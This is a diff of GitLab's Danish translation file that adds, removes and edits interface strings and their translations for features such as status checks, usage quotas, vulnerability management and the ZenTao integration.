@@ -32020,6 +32588,12 @@ msgstr "Noget gik galt hos os. Prøv venligst igen."
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Noget gik galt ved forsøg på at ændre den låste tilstand af denne %{issuableDisplayName}"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr "Noget gik galt ved omorganisering af designs. Prøv venligst igen"
@@ -32104,9 +32678,6 @@ msgstr "Noget gik galt under hentning af kildegrene."
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Noget gik galt under hentning af miljøerne for sammenlægningsanmodningen. Prøv venligst igen."
-msgid "Something went wrong while fetching the package."
-msgstr "Noget gik galt under hentning af pakken."
-
msgid "Something went wrong while fetching the packages list."
msgstr "Noget gik galt under hentning af pakkelisten."
@@ -32383,9 +32954,6 @@ msgstr "Kilde (gren eller mærkat)"
msgid "Source Branch"
msgstr "Kildegren"
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr "Kilde-IP"
@@ -32404,6 +32972,33 @@ msgstr "Kilden er ikke tilgængelig"
msgid "Source project cannot be found."
msgstr "Kan ikke finde kildeprojekt."
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Start en kontrol"
-msgid "Start and due date"
-msgstr "Start- og forfaldsdato"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr "Status: %{title}"
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr "%{pending} afventer"
@@ -32725,8 +33320,8 @@ msgstr "Der opstod en fejl ved hentning af statustjekkene."
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
-msgstr "Tjek for et statussvar i sammenlægningsanmodninger. Mislykkede blokerer ikke sammenlægninger. %{link_start}Lær mere%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
msgid "StatusCheck|Examples: QA, Security."
msgstr "Eksempler: kvalitetssikring, sikkerhed."
@@ -32734,6 +33329,9 @@ msgstr "Eksempler: kvalitetssikring, sikkerhed."
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr "Kunne ikke indlæse statustjek."
@@ -32755,6 +33353,12 @@ msgstr "Tjenestenavn"
msgid "StatusCheck|Status checks"
msgstr "Statustjek"
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr "Status som skal tjekkes"
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr "Du er ved at fjerne statustjekket %{name}."
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,11 +34362,11 @@ msgstr "Tilstande"
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
-msgstr "Rapporten %{name} kunne ikke genereres."
+msgid "Terraform|The job %{name} failed to generate a report."
+msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
-msgstr "Rapporten %{name} blev genereret i dine pipelines."
+msgid "Terraform|The job %{name} generated a report."
+msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
msgstr ""
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr "URL'en skal begynde med http:// eller https://"
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr "Den maksimale tilladte filstørrelse er %{size}."
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr "Udklippet er kun synligt for projektmedlemmer."
msgid "The snippet is visible to any logged in user except external users."
msgstr "Udklippet er synligt for alle brugere som er logget ind undtagen eksterne brugere."
-msgid "The source branch will be deleted"
-msgstr "Kildegrenen vil blive slettet"
-
msgid "The specified tab is invalid, please select another"
msgstr "Det angivne faneblad er ugyldigt. Vælg venligst et andet"
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr "Der er endnu ingen variabler."
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr "Feltet kræves"
msgid "This field is required."
msgstr "Feltet kræves."
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Dette er en sikkerhedslog over vigtige begivenheder der involverer din konto."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr "Dette er en selvhåndterede instans af GitLab."
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Dette er din nuværende session"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr "Sammenlægningsanmodningen er fra et internt projekt til et offentligt p
msgid "This merge request is locked."
msgstr "Sammenlægningsanmodningen er låst."
-msgid "This merge request is still a draft."
-msgstr "Sammenlægningsanmodningen er stadigvæk et udkast."
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Projektet har endnu ikke en wikistartside"
msgid "This project has no active access tokens."
msgstr "Projektet har ingen aktive adgangstokens."
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "Projektet er arkiveret og kan ikke kommenteres på."
@@ -35356,8 +35966,8 @@ msgstr "Det vil fjerne forgreningsrelationen mellem projektet og andre projekter
msgid "Thread to reply to cannot be found"
msgstr "Kan ikke finde tråden som skal besvares"
-msgid "Threat Monitoring"
-msgstr "Trådovervågning"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr "Alertbeskeddetaljer"
@@ -35900,6 +36510,9 @@ msgstr "Se projektets driftdetaljer ved at %{linkStart}opgradere dets gruppeplan
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "Se projektets driftdetaljer ved at kontakte en ejer af gruppen %{groupName} for at opgradere planen. Du kan også fjerne projektet fra betjeningspanelet."
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr "%{linkStart}Download venligst CSV-filen%{linkEnd} for at vise alle %{scannedResourcesCount} skannede URL'er"
@@ -35994,7 +36610,7 @@ msgid "Toggle sidebar"
msgstr "Sidebjælke til/fra"
msgid "Toggle the Performance Bar"
-msgstr ""
+msgstr "Ydelseslinje til/fra"
msgid "Toggle thread"
msgstr "Tråd til/fra"
@@ -36029,11 +36645,11 @@ msgstr "I morgen"
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "For mange navnerum aktiveret. Du skal håndtere dem via konsollen eller API'en."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "For mange projekter aktiveret. Du skal håndtere dem via konsollen eller API'en."
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr "GÃ¥ tilbage"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr "Emner (valgfrit)"
-
msgid "Total"
msgstr "I alt"
@@ -36116,6 +36729,9 @@ msgstr "Spor tid med hurtighandlinger"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "Overfør"
@@ -36286,7 +36902,7 @@ msgstr "Udløs en pipeline for en gren eller mærkat ved at generere en udløser
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Prøv at forgrene igen"
@@ -36541,9 +37163,6 @@ msgstr "Kan ikke indlæse diff'en. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr "Kan ikke gemme kadence. Prøv venligst igen"
-
msgid "Unable to save iteration. Please try again"
msgstr "Kan ikke gemme gennemløb. Prøv venligst igen"
@@ -36649,6 +37268,9 @@ msgstr "Ukendt format"
msgid "Unknown response text"
msgstr "Ukendt svartekst"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr "Ukendt bruger"
@@ -36733,9 +37355,6 @@ msgstr "Fjerner abonnering fra %{quick_action_target}."
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "Indtil"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr "Opdateringer"
msgid "Updating"
msgstr "Opdaterer"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr "Opdaterer …"
@@ -36886,6 +37508,9 @@ msgstr "Upload billede"
msgid "Upload license"
msgstr "Upload licens"
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "klik for at uploade"
msgid "Uploading changes to terminal"
msgstr "Uploader ændringer til terminal"
-msgid "Uploads"
-msgstr "Uploads"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr "Når handlingen udføres, så slettes indholdet i gruppen, dens undergrupper og projekter permanent efter %{deletion_adjourned_period} dage %{date}. Indtil da:"
@@ -36910,9 +37532,6 @@ msgstr "Oppetid"
msgid "Upvotes"
msgstr "Opstemmer"
-msgid "Usage"
-msgstr "Forbrug"
-
msgid "Usage Trends"
msgstr "Forbrugstrends"
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr "LFS-objekter"
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Pakker"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr "Pipelineartefakter og jobartefakter, oprettet med CI/CD."
@@ -36997,9 +37616,6 @@ msgstr "Køb mere lager"
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Wikier"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr "Anvendt programmeringssprog"
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr "Brugernavn"
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr "Brugernavn (til adgangskodebeskyttede Elasticsearch-servere)"
-
msgid "Username (optional)"
msgstr "Brugernavn (valgfrit)"
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Verificeret"
@@ -37843,6 +38450,9 @@ msgstr "Version %{versionNumber} (seneste)"
msgid "View Documentation"
msgstr "Vis dokumentation"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr "Vis logge"
msgid "View merge request"
msgstr "Vis sammenlægningsanmodning"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr "Vis på %{url}"
@@ -38045,11 +38658,14 @@ msgid "Vulnerabilities over time"
msgstr "SÃ¥rbarheder over tid"
msgid "Vulnerability Report"
-msgstr ""
+msgstr "SÃ¥rbarhedsrapport"
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr "%{statusStart}Bekræftet%{statusEnd} %{timeago} af %{user}"
@@ -38080,6 +38693,9 @@ msgstr "%{statusStart}Løst%{statusEnd} %{timeago} af %{user}"
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr "Ændr status"
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr "Opret Jira-problemstilling"
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr "Læs mere om relaterede problemstillinger"
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr "Noget gik galt under forsøg på at slette kommentaren. Prøv venligst igen senere."
@@ -38125,9 +38747,15 @@ msgstr "Noget gik galt. Kunne ikke hente bruger."
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr "Noget gik galt. Kunne ikke opdatere sårbarhedstilstand."
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr "Alle statusser"
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Bekræftet"
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,8 +38945,8 @@ msgstr "Vi har fundet følgende fejl:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
-msgstr "Vi elsker at snakke med vores brugere. Har du mere du vil fortælle om din oplevelser med GitLab?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
+msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr "Opret %{pageTitle}"
msgid "WikiPage|Create page"
msgstr "Opret side"
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr "Format"
@@ -38817,8 +39454,8 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
-msgstr "Mere information."
+msgid "WikiPage|Learn more."
+msgstr ""
msgid "WikiPage|Page title"
msgstr "Sidetitel"
@@ -38931,6 +39568,9 @@ msgstr "Igangværende arbejde (åbne og tildelte)"
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr "Du kan kun %{action} filer når du er på en gren"
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Du kan ikke tilgå den rå fil. Vent venligst et øjeblik."
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "Du kan ikke efterligne en blokeret bruger"
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr "Du kunne ikke oprette en ny udløser."
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "Du har ikke tilladelse til at forlade denne %{namespaceType}."
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr "Du har ikke tilstrækkelige tilladelser til at fjerne en vagtplan fra pr
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr "Du har ikke tilstrækkelige tilladelser til at fjerne HTTP-integreringen"
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr "Du har ikke tilstrækkelige tilladelser til at opdatere en vagtplan for projektet"
@@ -39516,9 +40170,6 @@ msgstr "Du vil kun modtage underretninger for kommentarer hvor du blev @nævnt"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr "Du vil ikke være i stand til at oprette nye projekter fordi du har nået din projektgrænse."
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr "Du vil ikke være i stand til at bruge pull eller push på depoter via %{protocol} før du %{set_password_link} på din konto"
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr "Din CSV-eksport af %{written_count} fra projektet %{project_name} (%{pro
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr "Din konto er blevet deaktiveret. Du vil ikke være i stand til at: "
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "Din konto er låst."
@@ -39861,6 +40518,9 @@ msgstr "Din søgning fik timeout"
msgid "Your sign-in page is %{url}."
msgstr "Din indlogningsside er %{url}."
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Dit abonnement udløb!"
@@ -39875,15 +40535,9 @@ msgstr "Dit brugernavn er %{username}."
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr "adgang:"
msgid "added"
msgstr "tilføjet"
-msgid "added %{created_at_timeago}"
-msgstr "tilføjede %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr "tilføjede %{emails}"
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr "kan ikke være det samme som kildeprojektet"
@@ -40089,9 +40746,6 @@ msgstr "kan ikke aktiveres medmindre alle domæner har TLS-certifikater"
msgid "cannot be enabled until a valid credit card is on file"
msgstr "kan ikke aktiveres indtil et gyldigt kreditkort er blevet registreret"
-msgid "cannot be modified"
-msgstr "kan ikke ændres"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Kunne ikke indlæse %{reportName}-rapport"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr "Rettet"
@@ -40271,6 +40928,9 @@ msgstr "Rettet:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Fandt %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "HÃ¥ndter licenser"
